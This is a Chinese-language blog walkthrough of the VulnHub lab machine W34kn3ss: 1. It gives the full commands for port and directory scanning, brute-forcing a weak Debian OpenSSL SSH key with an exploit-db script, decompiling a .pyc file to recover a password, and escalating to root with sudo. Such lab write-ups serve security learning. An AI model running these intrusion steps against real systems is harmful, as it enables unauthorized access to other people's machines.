当前位置:网站首页>vulnhub W34kn3ss: 1
vulnhub W34kn3ss: 1
2022-08-02 19:35:00 【fairy elephant】
渗透思路:
nmap扫描端口 ---- gobuster扫描网站目录 ---- 修改hosts文件,and scan website directories ---- 利用OpenSSL 0.9.8c-1Predictable pseudo-random number vulnerability blastingssh私钥 ---- uncompyle6反编译.pyc ---- sudo su提权
环境信息:
靶机:192.168.101.93
攻击机:192.168.101.34
具体步骤:
1、nmap扫描端口
sudo nmap -sV -sC -p- 192.168.101.93
扫描到tcp 22、80、443端口
2、gobuster扫描网站目录
gobuster dir -u http://192.168.101.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php
扫描到/blog、/uploads、/upload.php、/test
Visited these directories in a browser,都没啥用
3、修改hosts文件,and scan website directories
注意到nmap扫描结果中,443端口ssl-cert中commonName是weakness.jth
在/etc/hostsAdded a target droneip和weakness.jth的对应关系
sudo vim /etc/hosts
添加
192.168.101.93 weakness.jth
浏览器访问http://weakness.jth/,和直接访问ip地址(出现apache默认页面)are different pages.
Found a bunny,Tutu tail is the system usernamen30(n30也是http://192.168.101.93/upload.php的title,You can also see the source code of the web page after uploading the filen30)
再用gobuster扫描http://weakness.jth/的目录
gobuster dir -u http://weakness.jth -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php
浏览器访问http://weakness.jth/private/
mykey.pubThere is a public key in it,点击可以下载.
点notes.txt(来到http://weakness.jth/private/files/notes.txt),发现提示
this key was generated by openssl 0.9.8c-1
4、利用OpenSSL 0.9.8c-1Predictable pseudo-random number vulnerability blastingssh私钥
在exploit-db中搜索openssl 0.9.8c-1,找到如下payload
我选了python的exp:OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH - Linux remote Exploit
expThe usage tips are as follows
# 1. Download https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
# 2. Extract it to a directory
#
# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
# - execute: python exploit.py (without parameters) to display the help
# - if the key is found, the script shows something like that:
# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
首先从https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2下载5622.tar.bz2,然后解压,The unzipped folder is ./rsa/2048/,There are many, many public and private key pairs in this folder
官方方法
然后从OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH - Linux remote Exploit下载exp脚本5720.py,并执行
python2 5720.py
Usage tips are available
Follow usage tips,爆破n30的私钥
./rsa/2048It is the directory where the public and private key pairs are stored,192.168.101.93是靶机ip,n30是用户名,22是ssh端口
python2 5720.py ./rsa/2048 192.168.101.93 n30 22
一段时间后,Blast out the private key in the file4161de56829de2fe64b9055711f531c1-2537中
n30The user uses the private keyssh登录靶机
ssh [email protected] -i 4161de56829de2fe64b9055711f531c1-2537
更简单的方法
I saw that other bloggers on the Internet have an easier way to get itn30的私钥.由于mykey.pubThe public key has been given in ,所以可以用grep命令在./rsa/2048/to search for the file containing the public key,Its corresponding private key is n30的私钥.
grep -r -l "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw==" ./rsa/2048
1The public key file was found in seconds./rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub,The corresponding private key is the same./rsa/2048/4161de56829de2fe64b9055711f531c1-2537,和用expThe script blasting out is the same,But compared to timeexptoo few scripts.
5、uncompyle6 反编译.pyc
n30用户家目录下有个code文件,执行报错
其文件类型为python 2.7 byte-compiled
file code
n30from the home directoryhttp服务
python -m SimpleHTTPServer 9999
攻击机上下载code,改名为code.pyc,然后用uncompyle6反编译
wget http://192.168.101.93:9999/code
mv code code.pyc
uncompyle6 -o code.py code.pyc
注意,如果像我一样uncompyle6The installation directory is not present$PATH中,You also need to add its installation directory to $PATH中
export PATH=$PATH:/home/kali/.local/bin
反编译成功后,查看code.py的内容,发现
n30:dMASDNB!!#B!#!#33
6、sudo su提权
现在知道了n30的密码是dMASDNB!!#B!#!#33,可以试试sudo提权
先sudo -l
看看n30能sudo执行哪些命令
看来n30Can be any usersudo执行任意命令
sudo su
提权到root,并在/root下发现root.txt
边栏推荐
- 启航
- executeScript异步执行的时候没有返回值的原因
- H.265视频流媒体播放器EasyPlayer.js集成时报错“SourceBuffer ”如何解决?
- 土巴兔IPO五次折戟,互联网家装未解“中介”之痛
- Google Earth Engine APP—— 一个不用写代码可以直接下载相应区域的1984-2021年的GIF遥感影像动态图
- 持续集成(三)Jenkins新增节点
- npm install 报错问题解决合集
- navicat premium 15 下载安装详细教程
- 阿里云关系型数据库RDS是干嘛额?
- Oracle 11 g rac finished patch, dbca new patches of SQL database also needs to perform?
猜你喜欢
MySQL常见面试题汇总(建议收藏!!!)
「全球数字经济大会」登陆 N 世界,融云提供通信云服务支持
Oracle 11 g rac finished patch, dbca new patches of SQL database also needs to perform?
Flink SQL builds real-time data warehouse DWD layer
MYSQL一站式学习,看完即学完
vulnhub W34kn3ss: 1
Numpy those things
土巴兔IPO五次折戟,互联网家装未解“中介”之痛
NAACL 2022 | 具有元重加权的鲁棒自增强命名实体识别技术
[300+ selected big factory interview questions continue to share] Big data operation and maintenance sharp knife interview questions column (10)
随机推荐
Pytest学习笔记
边界访问的空间权限
FP6606CLP5 SOP-8 USB Type-C和PD充电控制器
H5网页播放器EasyPlayer.js播放器界面的加载效果无法消失是什么原因?
文件上传很难搞?10分钟带你学会阿里云OSS对象存储
golang源码分析(12)martini源码分析
Informatica旗下PowerCenter的元数据库解析
电烙铁的基础知识
二叉查找树的查找
9月起中国给予多哥等16国98%税目产品零关税待遇
内网渗透之kerberos认证(三)
Since September, China has granted zero-tariff treatment to 98% of tax items from 16 countries including Togo
Smart Contract Security - delegatecall (1)
嵌入式Qt-做一个秒表
红队实战靶场ATT&CK(一)
golang 计算器实现
golang刷leetcode动态规划(8)盈利计划
阿里云关系型数据库RDS是干嘛额?
Five speakers: seventy genius_platform software platform development 】 【 turn YUY2 RGB24 implementation source code
ffmpeg编译后找不到libx264